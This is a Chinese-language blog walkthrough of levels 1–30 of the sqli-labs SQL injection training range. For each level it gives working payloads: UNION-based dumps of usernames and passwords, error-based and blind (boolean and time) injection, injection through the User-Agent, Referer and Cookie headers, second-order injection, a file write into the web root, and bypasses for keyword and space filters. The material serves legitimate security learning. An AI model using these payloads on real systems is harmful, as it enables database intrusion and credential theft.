前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sqli-labs通关笔记(1-30)

sqli-labs通关笔记(1-30)

作者头像
逍遥子大表哥
发布2022-04-15 14:04:38
1.9K0
发布2022-04-15 14:04:38
举报
文章被收录于专栏:kali blog

sqli-labs是一款练习sql注入的著名靶场。而造成SQL注入的原因是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为 称为SQL注入。通过本文将sqli-labs刷完或许对你的学习有所帮助,在这里记录一下每一题的大体思路和payload。

项目地址

代码语言:javascript
复制
git clone http://github.com/Rinkish/Sqli_Edited_Version

less-1~2

基于错误的字符串/数字型注入。

当我们在域名后面加入变量?id=1' id参数在拼接sql语句时,未对id进行任何的过滤等操作,所以当提交'or1=1–+,直接构造的sql语句就是SELECTFROMusersWHEREid=’1’or1=1–+LIMIT0,1这条语句因or1=1 则为

构造语句?id=1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+,查看所有的数据库。

代码语言:javascript
复制
http://992a3be73d2d49979529ed116492710a.n1.vsgo.cloud:8340/sqlilabs/Less-1/?id=1%27%20AND%201=2%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),3%20--+

可以看到当前数据库有:information_schema,challenges,mysql,security,test

查询security内的所有表名

代码语言:javascript
复制
http://127.0.0.1/sqlilabs/Less-1/?id=1' AND 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

爆出列名

代码语言:javascript
复制
http://127.0.0.1/sqlilabs/Less-1/?id=1' AND 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

爆出用户名和密码

代码语言:javascript
复制
http://127.0.0.1/sqlilabs/Less-1/?id=1' AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+

因为关卡比较多,这里就不在详解了。

less3~4

和前面一样,只不过闭合符号不一样了。

我们对其源码进行简单的分析

代码语言:javascript
复制
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    echo 'Your Login name:'. $row['username'];
    echo 'Your Password:' .$row['password'];
}else{
    print_r(mysql_error());
}

在第三关我们输入?id=1'爆错如下: ''1'') LIMIT 0,1',但是在第四关输入'不报错。而输入"爆错误。而且还有个括号要绕过。

所以构建语法如下:

爆出用户名和密码

代码语言:javascript
复制
http://127.0.0.1/sqlilabs/Less-1/?id=0") AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+

less5~6

这两关关闭了错误信息 ,我们可以用布尔盲注也可以直接报错注入

爆值

代码语言:javascript
复制
http://127.0.0.1/sqlilabs/Less-6/?id=1%27%20union%20select%20null,count(*),concat((select%20username%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

第五关和第六关的区别在于'"

less7

?id=1' 报错?id=1'%23 报错

都是 You have an error in your SQL syntax

我们对源码解读,可以看到这样的语句。

代码语言:javascript
复制
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

$id被双层括号和单引号包围,URL正确时有提示

构造语句

代码语言:javascript
复制
http://127.0.0.1/sqlilabs/Less-7/
?id=1')) UNION SELECT 1,2,3 into outfile "\WWW\\sqli\\Less-7\\1.php"%23

less-8 9 10

基于布尔/时间的盲注

我们尝试用各种构造,都提示的是 You are in……

构造如下:

代码语言:javascript
复制
http://127.0.0.1/sqlilabs/Less-8/?id=1%27%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))%23

Less11

要输入的有两个东西,抓包分析,是POST,传入的是usernamepasswd

构造语法

代码语言:javascript
复制
uname=-qing") union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)##&passwd=1&submit=Submit//爆全部数据

在burp中构造post数据包

效果如下

less-12

和11关一小点不同 ,闭合符号不一样而已 .

构造如下:

代码语言:javascript
复制
uname=admin") order by 2#&passwd=1&submit=Submit

less-13

用我们常说的万能钥匙or 1=1

代码语言:javascript
复制
uname= qing') or 1=1 # &passwd= ') or 1=1 # &submit=Submit

爆出库

代码语言:javascript
复制
uname= 6666') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= 666') or 1=1 # &submit=Submit

Less14

和上关一样,闭合不一样。

代码语言:javascript
复制
uname= qing" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit

Less15

单引号闭合的布尔盲注 直接用盲注语句猜解就是了

代码语言:javascript
复制
uname=' or (length(database())) = 8 #&passwd=' or 1=1 #&submit=Submit
uname=' or (ascii(substr((select database()) ,1,1))) = 115 #&passwd=' or 1=1 #&submit=Submit

Less16

一样的,布尔盲注

代码语言:javascript
复制
uname=admin")and left(database(),1)='s'%23&passwd=1&submit=Submit

Less17

update的注入

爆出数据库

代码语言:javascript
复制
uname=admin&passwd=6666' or updatexml(1,concat(0x7e,(version()),0x7e),0) or '&submit=Submit

Less18

基于报错注入

抓包修改User-Agent

代码语言:javascript
复制
' AND updatexml(1,concat(0x7e,(select user()),0x7e),1) AND '

Less 19

抓包修改Referer

代码语言:javascript
复制
' AND updatexml(1,concat(0x7e,(select user()),0x7e),1) AND '

Less 20

cookie字段的注入 和前面相比位置不同

代码语言:javascript
复制
Cookie: uname=' union select 1,database(),6 or 1=1 #;

less21

还是cookie,但是更复杂了

对payload进行base64编码

代码语言:javascript
复制
hello' AND updatexml(1,concat(0x7e,(select user()),0x7e),1)#

less22

双引号

代码语言:javascript
复制
" AND updatexml(1,concat(0x7e,(select user()),0x7e),1)#

less23

代码语言:javascript
复制
id=1 ' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

Less 24

二次注入

注册一个 admin'#账号 ,然后修改密码,

代码语言:javascript
复制
# Validating the user input........
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);
    
    if($pass==$re_pass)
    {    
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();

的时候就把我们原先的admin' or 1=1 #取出来拿到语句中了

Less 25

提示不能用andor

代码语言:javascript
复制
function blacklist($id){
    $id= preg_replace('/or/i',"", $id);
    $id= preg_replace('/AND/i',"", $id);
    return $id;
}

双写就行了

代码语言:javascript
复制
?id=1' oorr '1'='1

Less 26

可以看到,这关过滤的东西比较多。

代码语言:javascript
复制
function blacklist($id) {
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}
$id= blacklist($id);
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

过滤了 orand/* , ,# , 空格 , /

构造语句

代码语言:javascript
复制
?id=1%27||extractvalue(1,concat(0x7e,user(),0x7e))||%27

Less 27

和上关一样,过滤的东西也比较多。但闭合不一样

代码语言:javascript
复制
?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0"1

Less 28

过滤union select这一个组合,也要过滤空格,所以采用union union select select方法绕过,空格照样用%0a替换

代码语言:javascript
复制
0')%A0UnIoN%A0SeLeCt(1),version(),database()%26%26%a0('1

Less 29

加了一个很弱的waf

代码语言:javascript
复制
?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23

Less 30

和上关一样换汤不换药,这次是双引号

代码语言:javascript
复制
id=1&id=0" union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23

版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/1982432

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 项目地址
  • less-1~2
  • less3~4
  • less5~6
  • less7
  • less-8 9 10
  • Less11
  • less-12
  • less-13
  • Less14
  • Less15
  • Less16
  • Less17
  • Less18
  • Less 19
  • Less 20
  • less21
  • less22
  • less23
  • Less 24
  • Less 25
  • Less 26
  • Less 27
  • Less 28
  • Less 29
  • Less 30
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档